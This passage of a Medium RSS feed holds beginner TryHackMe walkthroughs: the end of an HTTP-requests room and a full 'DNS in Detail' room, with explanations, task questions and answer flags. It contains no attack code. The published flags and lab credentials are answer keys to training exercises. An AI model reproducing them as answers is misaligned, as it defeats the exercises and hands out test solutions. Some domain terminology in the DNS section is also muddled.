the id parameter to 1 in the URL field</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{YOU_FOUND_THE_BLOG}</em></p><p><strong><em>Press the gear icon</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*anYt2SjVxOtrjRbl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/0*KHByR23UgBlBkOER.png" /></figure><p>The id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*neD7ACU2PGqb_1Oj.png" /></figure><p>The flag 2</p><p><strong><em>Make a DELETE request to /user/1</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{USER_IS_DELETED}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/0*e2lII4_nL1pjs8vH.png" /></figure><p>The flag 3</p><p><strong><em>Make a PUT request to /user/2 with the username parameter set to admin</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{USER_HAS_UPDATED}</em></p><p><strong><em>Press the gear icon</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/0*3DUm79xWZ7qWtBPc.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/0*ui97gMkdaIVSjc9y.png" /></figure><p>The username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*GB8o5uwX-XPXWzl4.png" /></figure><p>The flag 4</p><p><strong><em>POST the username of thm and a password of letmein to /login</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{HTTP_REQUEST_MASTER}</em></p><p><strong><em>Press the gear icon.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*8aUfgdBK4AQfTyIt.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/0*IDnF79kue1nHlbTa.png" /></figure><p>The username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*cmOlCCUJn_bqmjNs.png" /></figure><p>The flag 5</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d9f02f8a257" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe DNS In Detail Walkthrough]]></title>
            <link>https://medium.com/@vipingiribgb0/tryhackme-dns-in-detail-walkthrough-a210a72295e9?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/a210a72295e9</guid>
            <category><![CDATA[dns-tryhackme-wlakthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Sun, 19 Oct 2025 07:11:01 GMT</pubDate>
            <atom:updated>2025-10-19T07:11:01.510Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*MS_os6Vchompiuou.png" /><figcaption>Domain Name System</figcaption></figure><p>One of the rooms found in the Pre Security ==&gt;&gt; How The Web Works path is DNS in Detail in which Learn how DNS works and how it helps you access internet services.</p><p>Next I will explain step by step how to solve this room so that you can do it effectively and above all learn in an interactive and simple way.</p><h3>Task 1 What is DNS?</h3><p>The DNS (Domain Name System), helps us to communicate easily with Internet devices without the need to remember the entire IP address that has been assigned to it.<br>An IP address looks like 192.26.10.139, 4 sets of digits ranging from 0 to 255 separated by a dot. When you want to visit a website, it’s not exactly comfortable to remember this complicated set of numbers, and that’s where DNS can help. So, instead of remembering 192.26.10.139, you can remember example.com.</p><p>Task 1: Questions</p><blockquote><em>Question 1:</em><strong><em> What does DNS stand for?</em></strong></blockquote><blockquote><em>Answer 1: </em><strong><em>Domain Name System</em></strong></blockquote><h3>Task 2 Domain Hierarchy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/0*tPYWhnY_DSIRBonk.gif" /></figure><p>A TLD is the rightmost part of a domain name. For example, google.com’s TLD is .com.</p><p>There are two types of TLDs: gTLD (Generic Top Level) and ccTLD (Country Code Top Level Domain). Historically, a gTLD told the user the purpose of the domain name; for example, a .com would be for commercial purposes, .org for an organization, .edu for education and .gov for government. And a ccTLD was used for geographic purposes, e.g., .br for sites based in Brazil, .es for sites based in Spain.</p><p><strong>Second-Level Domain</strong></p><p>For example mozilla.org is the TLD domain, if Mozilla registers a second level domain, as follows developer.mozilla.org, in this case as we can see developer is a second level domain.</p><p>An important characteristic to consider when registering a second level domain is that it will have a maximum length of 63 characters, plus the TLD. Among the allowed characters are the letters a-z, numbers 0–9 and hyphens.</p><p><strong>Subdomain</strong></p><p>A subdomain is located to the left of the Second-Level Domain using a period to separate it; for example, in the name python.developers.com the python part is the subdomain.</p><p>A subdomain name has the same restrictions as a Second-Level Domain, being limited to 63 characters and can only use a-z 0–9 and hyphens (it cannot begin or end with hyphens or have consecutive hyphens). Multiple dot-separated subdomains can be used to create longer names, such as book.python.developers.com. But the length must be kept to 253 characters or less. There is no limit to the number of subdomains you can create for your domain name.</p><p><strong>Task 2 Questions</strong></p><blockquote><em>Question 1: </em><strong><em>What is the maximum length of a subdomain?</em></strong></blockquote><blockquote><em>Answer1: </em><strong><em>63</em></strong></blockquote><blockquote><em>Question 2: </em><strong><em>Which of the following characters cannot be used in a subdomain ( 3 b _ — )?</em></strong></blockquote><blockquote><em>Answer 2: </em><strong><em>_</em></strong></blockquote><blockquote><em>Question 3: </em><strong><em>What is the maximum length of a domain name?</em></strong></blockquote><blockquote><em>Answer 3: </em><strong><em>253</em></strong></blockquote><blockquote><em>Question 4: </em><strong><em>What type of TLD is .co.uk?</em></strong></blockquote><blockquote><em>Answer 4: </em><strong><em>ccTLD</em></strong></blockquote><h3>Task 3: DNS Record Types</h3><p>DNS are not limited only to websites, applications, etc, there are a variety of DNS record types and below I will explain each one.</p><p><strong>A Record</strong></p><p>This register interects and resolves to IPV4 addresses such as 10.193.78.29.</p><p><strong>AAAA record</strong></p><p>This record interects and resolves to IPV6 addresses such as 2986:4700:20::641a:be6.</p><p><strong>CNAME record</strong></p><p>These records resolve to another domain name, for example, Goku’s online store has the subdomain store.goku.com which returns a CNAME record shops.magento.com. Another DNS request would then be made to shops.magento.com to find out the IP address. Usually this DNS record is associated with the TLS certificates of a company’s internal or external internet sites or applications.</p><p><strong>MX record</strong></p><p>These records resolve the address of the servers that handle email for the domain you are querying. For example, an MX record response for google.com would be something like mail.google.com. These records also include a priority indicator. This tells the client in what order to try the servers, which is perfect if the primary server goes down and the email needs to be sent to a backup server.</p><p><strong>TXT record</strong></p><p>TXT records are free text fields where any text-based data can be stored. TXT records have multiple uses, but some common ones can be to list the servers that have the authority to send an email on behalf of the domain (this can help in the battle against spam and spoofed email). They can also be used to verify domain name ownership when registering with third-party services.</p><p><strong>Task 3 Questions</strong></p><blockquote><em>Question 1: What type of record would be used to advise where to send email?</em></blockquote><blockquote><em>Answer 1: MX</em></blockquote><blockquote><em>Question 2: What type of record handles IPv6 addresses?</em></blockquote><blockquote><em>Answer 2: AAAA</em></blockquote><h3>Task 4: Making a Request</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*NYVh2J7vHjf2yuYs.png" /></figure><p><strong>What happens when you make a DNS request</strong></p><p>1.- When you request a domain name, your computer first checks its local cache to see if it has looked up the address recently; if not, a request will be made to your Recursive DNS Server.</p><p>2.- A Recursive DNS Server is usually provided by your ISP, but you can also choose your own. This server also has a local cache of recently queried domain names. If a result is found locally, it is sent back to your computer, and your request ends here (this is common for popular and highly requested services such as Google, Facebook, Twitter). If the request is not found locally, a journey to find the correct answer begins, starting with the Internet’s root DNS servers.</p><p>3.- Root servers act as the DNS backbone of the Internet; their job is to redirect you to the correct top-level domain server, based on your request. If, for example, you request <a href="http://www.google.com/">www.google.com</a>, the root server will recognize the .com Top Level Domain and forward you to the correct TLD server that handles .com addresses.</p><p>4.- The TLD server contains records that indicate where to find the authoritative server to respond to the DNS request. The authoritative server is often also known as the domain name server. For example, the name server for google.com is kip.ns.cloudflare.com and uma.ns.cloudflare.com. Often you will find multiple name servers for a domain name to act as a backup in case one goes down.</p><p>5.- An authoritative DNS server is the server responsible for storing the DNS records for a particular domain name and where any updates to your domain name’s DNS records would take place. Depending on the record type, the DNS record is sent back to the recursive DNS server, where a local copy will be cached for future requests and then forwarded to the original client that made the request. All DNS records come with a TTL (Time To Live) value. This value is a number represented in seconds that the response must be stored locally until you have to look it up again. Caching saves having to make a DNS request every time you communicate with a server.</p><p><strong>Task 4 Questions</strong></p><blockquote><em>Question 1: 1:What field specifies how long a DNS record should be cached for?</em></blockquote><blockquote><em>Answer 1: TTL</em></blockquote><blockquote><em>Question 2: What type of DNS Server is usually provided by your ISP?</em></blockquote><blockquote><em>Answer 2: Recursive</em></blockquote><blockquote><em>Question 3: What type of server holds all the records for a domain?</em></blockquote><blockquote><em>Answer 3: Authoritative</em></blockquote><h3>Task 5 Practical</h3><p>As a practical activity in this room we have included a web site to which different requests will be made to simulate DNS queries and based on the results answer the following questions</p><blockquote><em>Question 1:</em><strong><em> What is the CNAME of shop.website.thm?</em></strong></blockquote><blockquote><em>Answer 1: </em><strong><em>shops.myshopify.com</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/0*Pxs2w_ZmJFDRQsul.png" /></figure><p>CNAME</p><blockquote><em>Question 2: </em><strong><em>What is the value of the TXT record of website.thm?</em></strong></blockquote><blockquote><em>Answer 2: </em><strong><em>THM{7012BBA60997F35A9516C2E16D2944FF}</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*DnyLT5N84fGwkkfL.png" /></figure><p>TXT Flag</p><blockquote><em>Question 2: </em><strong><em>What is the numerical priority value for the MX record?</em></strong></blockquote><blockquote><em>Answer 2: </em><strong><em>30</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/0*ps27BGsBSqdTLlTz.png" /></figure><p>MX</p><blockquote><em>Question 2: </em><strong><em>What is the IP address for the A record of </em></strong><a href="http://www.website.thm/?"><strong><em>www.website.thm?</em></strong></a></blockquote><blockquote><em>Answer 2: </em><strong><em>10.10.10.10</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/0*LxZa2emsGuu3sWpB.png" /></figure><p>A</p><p>This room covers basic DNS topics along with a practical exercise with the nslookup command.</p><blockquote><strong><em>I hope this guide will be of great help to you who are starting to solve these TryHackMe rooms, so if the content I share is of great help to you or you know someone who wants to learn and start your career in Cybersecurity recommend this Blog.</em></strong></blockquote><p>Thanks for reading and reviewing, if this content is useful to you or you know someone who might be interested, I would appreciate you sharing it, so that it reaches anyone who is interested in learning about Hacking, Cybersecurity and more content that I will be sharing for this community.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a210a72295e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>